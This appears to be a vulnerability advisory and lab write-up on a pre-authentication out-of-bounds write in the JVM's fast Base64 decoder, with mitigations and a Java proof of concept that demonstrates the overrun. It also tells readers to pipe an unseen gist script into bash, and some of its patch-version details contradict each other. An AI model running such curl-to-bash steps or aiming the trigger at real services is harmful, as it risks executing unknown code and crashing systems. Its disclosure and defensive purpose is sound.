A silent Out-of-Bounds Write in the JVM's Fast Base64 Decoder

Java services decode Base64 before they decide who you are. HTTP Basic credentials, JWT segments, and SASL tokens all pass through java.util.Base64 while the caller is still anonymous. On recent x86 servers that decode does not stay in Java. The JVM compiles it into an AVX-512 intrinsic, and the usual array bounds checks never run.
CVE-2026-114938 is a memory-corruption bug on that path. Public reports have called it Java4Shell and described it as unauthenticated remote code execution. Our lab work, project Java2Shell, confirms a narrower and more awkward fact: on the builds we tested, a malformed pre-auth value makes the fast decoder write 62 bytes past the end of a heap array, and the application answers with an ordinary 401. Under default heap settings nothing visible happens. With small fixed TLABs, a legal JVM configuration; the write lands in live objects and kills the process; we reproduced the JVM crash (SIGSEGV in the G1 collector), and we did not go to the lengths of code execution.
The CVE record is still reserved. Oracle’s November 17, 2026 Critical Security Patch Update covers 11 Java SE issues that may be exploitable over the network without credentials, and it names replacement builds.
What to do first
- Inventory every JVM you run, including the ones baked into container images and vendor appliances. The fast decoder is a property of the runtime, not of your application code.
- Move Oracle Java SE to the November 2026 replacement builds when they are available for your line: 8u513, 11.0.33.1, 17.0.21.1, 21.0.13.1, 25.0.5.1, 27.0.1.1. Downstream OpenJDK distributions (Temurin, Corretto, Zulu, and the rest) ship on their own schedule. Confirm the running process, not the image tag.
- Until a fixed build is on the box, start affected JVMs with -XX:-UseBASE64Intrinsics. That forces the pure-Java decoder, which matched the language contract in every control run we did. The cost shows up on Base64-heavy workloads.
To see whether a machine is actually affected, run the runtime checker. The gist(cve-2026-114938-runtime-checker.sh)can be used to check if your host is vulnerable. It compares each local JDK with the October 2026 advisory builds, then checks that the CPU is x86_64 and exposes avx512_vbmi, and that UseBASE64Intrinsics and UseAVX leave the fast path on. Both have to be true. A Mac, or any CPU without that flag, is not vulnerable even when the JDK build is on the advisory list. Run it on the host or image that serves traffic:
curl -fsSL https://gist.github.com/piyushroshan/20cc0fb0ef688ef5f414ce385958b796/raw/4f298f6a630f76491b4bba970eced9cd41c5a0f4/cve-2026-114938-runtime-checker.sh | bashWhy a bounds check never saved you
java.util.Base64.Decoder.decode predicts an output length, allocates a byte array of that exact size, and fills it. The fast path is a JVM intrinsic, Base64$Decoder.decodeBlock, compiled by C2 when the CPU exposes AVX-512 VBMI and UseBASE64Intrinsics is left at its default (true). The intrinsic is trusted. It does not receive the destination length, and it does not re-check the array.
That is fine when the intrinsic and the Java fallback agree about where to stop. They do not, for a family of non-canonical inputs.
The Java fallback processes complete 4-character groups and stops at the first group that is not in the alphabet. Padding and illegal endings fall through to a scalar tail, which throws IllegalArgumentException. An auth filter catches that and returns 401. The intrinsic, on the inputs that diverged, keeps writing.
Observations from our lab
Two things make this bug hard to see from the outside. The service-level symptom is nothing, and the intrinsic never reports how many bytes it stored.
The out-of-bounds write is real, repeatable, and reachable before authentication on any service that decodes attacker-controlled Base64 with the fast intrinsic. Under default heap settings the write is silent: it lands in not-yet-used allocation space that later allocations overwrite. With small fixed TLABs, the write lands in live objects, we detected the corruption in victim arrays, and the process died with SIGSEGV in the G1 collector. Denial of service is therefore demonstrated. Code execution is not: the out-of-bounds bytes are a fixed decoder-derived pattern, not attacker-chosen, which keeps this short of a clean write-what-where.
We confirmed that 160-into-98 result, with a clean control, on four lines that ship the fast decoder:
All of that validation ran on AMD Zen 4, which exposes AVX-512 VBMI even though its datapath is 256 bits. Intel Ice Lake and newer are in the same CPU class for this intrinsic.
Why scanners and staging both miss it
The overflow is stateful in the JIT.
It fires only while decodeBlock is running as C2 code with the intrinsic, and only on the first malformed decode after that compiled state is armed. That call throws IllegalArgumentException. Afterward, the compiled decode chain is made not-entrant and the same malformed input no longer overruns. Further valid decodes recompile the method.
From silent write to dead JVM
The test harness proves that each armed decode writes 62 bytes past a heap array. What happens next depends on the heap layout, and we demonstrated both ends of the spectrum:
Default configuration (adaptive, large TLABs): silent. A default-configured service with a hand-rolled Basic auth filter (decode the header, catch IllegalArgumentException, answer 401) survived thousands of trigger deliveries with no visible effect
Two consequences follow:
- A busy authentication endpoint stays armed. Real logins, or any other steady stream of valid Base64, put the intrinsic back into the state where the next malformed value causes one out-of-bounds write.
- A cold JVM looks fine. One malformed header against a freshly started process, or a second malformed header immediately after the first, throws the exception the filter already expects. The response is 401. Nothing in the access log distinguishes the armed write from a typo in a password.
Small fixed TLABs (-XX:TLABSize=2048 -XX:-ResizeTLAB, a legitimate JVM configuration): fatal. With thread allocation buffers small and back-to-back, the overflow lands in live objects of neighboring threads. In this configuration we reproduced, repeatedly and in two independent setups:
- live-object corruption, detected: a victim thread watching its own pattern-filled arrays logged 97 corruptions in one HTTP-delivered run (e.g. expected=0x6f got=0x69 — the overflow's fixed pattern bytes appearing inside a live array), and
- JVM death: SIGSEGV inside the G1 collector during heap evacuation/scan (G1ParScanThreadState::steal_and_trim_queue / trim_queue_to_threshold), the faulting address ending in the pattern bytes themselves (si_addr …699aae — the collector dereferencing a smashed object header). The process aborted with an hs_err_pid*.log, both when the malformed value was delivered over HTTP through the pre-auth Authorization: Basic path and in a standalone PoC with no server at all (crash after ~7,500 armed fires, about 8.5 seconds).
The impact statement is therefore: pre-auth heap corruption with a demonstrated denial-of-service (JVM crash on a legal heap configuration). Code execution was not demonstrated; the overflow contents are a fixed pattern (Section 3), which keeps this short of a clean write-what-where.
Who can reach it
The decoder is in the platform, so the vulnerable code is every JVM that emits this intrinsic. The vulnerable exposure is every place untrusted bytes hits that decoder, and the impact amplifies if before an authentication decision:
- HTTP Basic, in Tomcat, Jetty, Spring Security, Micronaut, Vert.x, Helidon, Undertow, Quarkus, Shiro, pac4j, Dropwizard, Keycloak, Jenkins, and the same pattern elsewhere
- JWT header and payload segments, decoded before the signature check
- SASL exchanges such as Kafka SCRAM
- Or any other base64 payload being accepted as part of user input
A deployment is actually exposed only when the pieces line up:
- the pre-auth decode path is live, not merely on the classpath
- nothing in front of the JVM rejects or normalizes a non-canonical credential or token
- the CPU exposes avx512_vbmi and UseAVX is not restricted
- the running build really emits decodeBlock as an intrinsic
Mitigation, in order
Patch the JVM. This is a runtime bug. Application code cannot put the bounds check back. Follow your vendor’s fixed build, restart the process, and confirm java -version on the host that serves traffic. Oracle’s current guidance is to leave 8u511, 11.0.33, 17.0.21, 21.0.13, 25.0.5, and 27.0.1 after the November 17 update.
Disable the fast path while you roll the patch out. -XX:-UseBASE64Intrinsics selects the decoder our control runs showed to be correct. -XX:UseAVX=2 also stopped the overflow in our tests, and it changes vectorization for the whole process, so it is the coarser switch.
Stop feeding the decoder non-canonical structure. Basic credentials and tokens are untrusted structure, not only untrusted content. A strict check — length a multiple of 4, alphabet characters only, padding only as a trailing = or == , rejects the family that overflowed for us. A character-class rule that merely allows letters, digits, +, /, and = does not. Put the check in the auth filter or at a front proxy. It is a backstop. It is not a substitute for the JVM fix, and it does not repair a write that has already happened.
Proof of concept
A self-contained PoC validates the write and includes a control run. (For JDK 8 targets we keep a Java-8-compatible variant that avoids String.repeat and the single-file launcher.)
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.Base64;
public class PoC {
static final byte SENTINEL = (byte)0xEE;
static final String TRIGGER = "A".repeat(128) + "="; // the malformed value
static final int EXACT_SIZE = 98; // what decode(String) allocates
public static void main(String[] args) {
// 1) warm up so C2 compiles decode0/decodeBlock with the intrinsic;
// the FIRST malformed decode after this is the armed one.
String warm = "Zz9+Zz9+".repeat(24);
for (int i = 0; i < 200_000; i++) {
try { Base64.getDecoder().decode(warm); } catch (IllegalArgumentException e) {}
}
// 2) the real application path: exact-size heap array inside decode(String)
try { Base64.getDecoder().decode(TRIGGER); }
catch (IllegalArgumentException e) { System.out.println("decode(String) -> IAE (auth filter answers 401)"); }
for (int i = 0; i < 20_000; i++) Base64.getDecoder().decode(warm); // re-arm
// 3) observe every byte written: oversized sentinel dst
// (decodeBlock never sees dst.length -> identical writes to the real path)
byte[] src = TRIGGER.getBytes(StandardCharsets.ISO_8859_1);
byte[] big = new byte[EXACT_SIZE + 128];
Arrays.fill(big, SENTINEL);
try { Base64.getDecoder().decode(src, big); } catch (IllegalArgumentException e) {}
int last = -1;
for (int i = big.length - 1; i >= 0; i--) if (big[i] != SENTINEL) { last = i; break; }
System.out.println("bytes written = " + (last + 1));
System.out.println("exact array size = " + EXACT_SIZE);
System.out.println("written past end = " + (last + 1 - EXACT_SIZE));
}
}
Run it twice on an affected CPU/JDK:
$ java PoC.java
decode(String) -> IAE (auth filter answers 401)
bytes written = 160
exact array size = 98
written past end = 62
$ java -XX:-UseBASE64Intrinsics PoC.java
decode(String) -> IAE (auth filter answers 401)
bytes written = 96
exact array size = 98
written past end = -2 (pure Java fallback: no overflow)
Every fast-decoder build produced the byte-identical overflow: 160 bytes written into the 98-byte exact-size array, with the same phantom-group pattern in the sentinel buffer, and a clean 96 in the control runs. The bug is not a legacy-only or bleeding-edge-only issue — it spans the JDK 17, 21, 25, and 27 lines, all shipping with UseBASE64Intrinsics=true and an unrestricted vector width (the AVX-512 path engaged in every one of them without any flags).
Conclusions
Treat a normal 401 as uninformative. A short, malformed pre-auth token makes the fast decoder write 62 bytes past its heap array, and the filter still answers “bad credentials.” The log line looks like a typo in a password.
Do not trust a one-shot test. The overrun happens after the JIT has compiled the decoder, on the first bad value, and then goes quiet until thousands of valid logins compile it again. A busy Basic, JWT, or SASL endpoint stays in that window. A scanner that fires once at a cold JVM will report the service healthy.
Assume a quiet process is not a safe process. Under a default heap those 62 bytes often land in unused space and the JVM keeps running. With small fixed thread-allocation buffers the same write hits live objects and the process dies with a crash in the garbage collector. You do not get to choose the layout.
Patch the JVM that serves traffic. We reproduced the write on the October 2026 builds of JDK 17, 21, 25, and 27, on x86_64 CPUs with avx512_vbmi, when the fast decoder was left on. Oracle’s list also covers the current 8 and 11 lines; some distro builds of those two never turn the fast path on, so check the running process rather than the major version. Macs, and any CPU without avx512_vbmi, are outside this bug.
Until the patched build is actually running, start the JVM with -XX:-UseBASE64Intrinsics. Then run the runtime checker on that host. Exit 2 means a JDK is still exposed.
